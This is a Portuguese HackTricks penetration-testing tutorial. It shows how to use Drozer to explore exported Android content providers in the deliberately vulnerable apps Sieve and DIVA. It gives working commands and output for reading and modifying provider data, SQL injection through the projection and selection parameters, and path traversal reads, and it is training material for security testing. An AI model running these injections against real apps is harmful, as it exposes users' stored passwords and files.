hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md

217 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## Explorando Provedores de Conteúdo
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introdução
Um componente provedor de conteúdo **fornece dados de um aplicativo para outros** sob demanda. Tais solicitações são tratadas pelos métodos da classe ContentResolver. Um provedor de conteúdo pode usar diferentes maneiras de armazenar seus dados e os dados podem ser **armazenados** em um **banco de dados**, em **arquivos** ou até mesmo em uma **rede**.
Ele deve ser declarado dentro do arquivo _Manifest.xml_. Exemplo:
```markup
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
Neste caso, é necessário a permissão `READ_KEYS` para acessar `content://com.mwr.example.sieve.DBContentProvider/Keys`. (_Além disso, observe que na próxima seção vamos acessar `/Keys/`, que não está protegido, porque o desenvolvedor ficou confuso e protegeu `/Keys`, mas declarou `/Keys/`_)
**Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (Injeção de SQL ou Traversal de Caminho).**
## Obter informações de **provedores de conteúdo expostos**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Podemos **reconstruir** parte dos **URIs** de conteúdo para acessar o **DBContentProvider**, porque sabemos que eles devem começar com "_content://_" e as informações obtidas pelo Drozer dentro do Path: _/Keys_.
Drozer pode **adivinhar e tentar vários URIs**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Você também deve verificar o código do **ContentProvider** para procurar consultas:
![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)
Além disso, se você não conseguir encontrar consultas completas, poderá **verificar quais nomes são declarados pelo ContentProvider** no método `onCreate`:
![](<../../../.gitbook/assets/image (186).png>)
A consulta será como: `content://nome.do.pacote.classe/nome_declarado`
## **Provedores de conteúdo com banco de dados**
Provavelmente, a maioria dos provedores de conteúdo é usada como **interface** para um **banco de dados**. Portanto, se você puder acessá-lo, poderá **extrair, atualizar, inserir e excluir** informações.\
Verifique se você pode **acessar informações confidenciais** ou tente alterá-las para **burlar mecanismos de autorização**.
Ao verificar o código do Content Provider, **procure também por funções** com nomes como: _query, insert, update e delete_:
![](<../../../.gitbook/assets/image (187).png>)
![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Porque você será capaz de chamá-los.
### Consulta de conteúdo
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Inserir conteúdo
Ao consultar o banco de dados, você aprenderá o **nome das colunas**, então, você poderá inserir dados no banco de dados:
![](<../../../.gitbook/assets/image (188) (1).png>)
![](<../../../.gitbook/assets/image (189) (1).png>)
_Observe que em inserção e atualização você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean_
### Atualizar conteúdo
Conhecendo o nome das colunas, você também pode **modificar as entradas**:
![](<../../../.gitbook/assets/image (190).png>)
### Excluir conteúdo
![](<../../../.gitbook/assets/image (191).png>)
### **Injeção de SQL**
É simples testar a injeção de SQL **(SQLite)** manipulando os campos de **projeção** e **seleção** que são passados para o provedor de conteúdo.\
Ao consultar o Provedor de Conteúdo, existem 2 argumentos interessantes para procurar informações: _--selection_ e _--projection_:
![](<../../../.gitbook/assets/image (192) (1).png>)
Você pode tentar **abusar** desses **parâmetros** para testar **injeções de SQL**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Descoberta automática de SQLInjection pelo Drozer**
O Drozer é capaz de realizar uma descoberta automática de vulnerabilidades de injeção de SQL em provedores de conteúdo. Para isso, é necessário executar o comando `run app.provider.sqlinjection` no console do Drozer. Esse comando irá gerar uma lista de provedores de conteúdo que possuem vulnerabilidades de injeção de SQL.
Uma vez que a lista é gerada, é possível explorar as vulnerabilidades de injeção de SQL em um provedor de conteúdo específico usando o comando `run app.provider.sqlinjection --uri content://<URI_do_provedor_de_conteúdo>`. Esse comando irá gerar uma lista de tabelas e colunas disponíveis no provedor de conteúdo, bem como uma lista de consultas SQL que podem ser usadas para explorar as vulnerabilidades.
É importante lembrar que a exploração de vulnerabilidades de injeção de SQL em provedores de conteúdo sem autorização prévia é ilegal e pode resultar em consequências graves. Portanto, é recomendável que essa técnica seja usada apenas em um ambiente de teste controlado e com autorização prévia do proprietário do aplicativo.
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **Provedores de conteúdo com suporte ao sistema de arquivos**
Os provedores de conteúdo também podem ser usados para **acessar arquivos:**
![](<../../../.gitbook/assets/image (193).png>)
### Ler **arquivo**
Você pode ler arquivos do provedor de conteúdo.
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Travessia de Caminho**
Se você pode acessar arquivos, pode tentar abusar de uma Travessia de Caminho (neste caso, isso não é necessário, mas você pode tentar usar "_../_" e truques similares).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Descoberta Automática de Traversal de Caminho pelo Drozer**
O Drozer é capaz de descobrir automaticamente vulnerabilidades de Traversal de Caminho em provedores de conteúdo de aplicativos Android. Ele faz isso usando o módulo `scanner.provider.traversal` que pode ser executado com o seguinte comando:
```
run scanner.provider.traversal
```
Este módulo tentará acessar todos os provedores de conteúdo disponíveis no dispositivo e verificar se eles são vulneráveis a Traversal de Caminho. Se uma vulnerabilidade for encontrada, o Drozer exibirá uma mensagem de aviso indicando o provedor de conteúdo afetado e o caminho que pode ser acessado.
É importante lembrar que a descoberta automática de vulnerabilidades de Traversal de Caminho pode ser ilegal sem a permissão do proprietário do dispositivo ou do aplicativo. Portanto, é altamente recomendável que essa técnica seja usada apenas em um ambiente de teste controlado e com a permissão do proprietário do dispositivo ou do aplicativo.
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## Referências
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>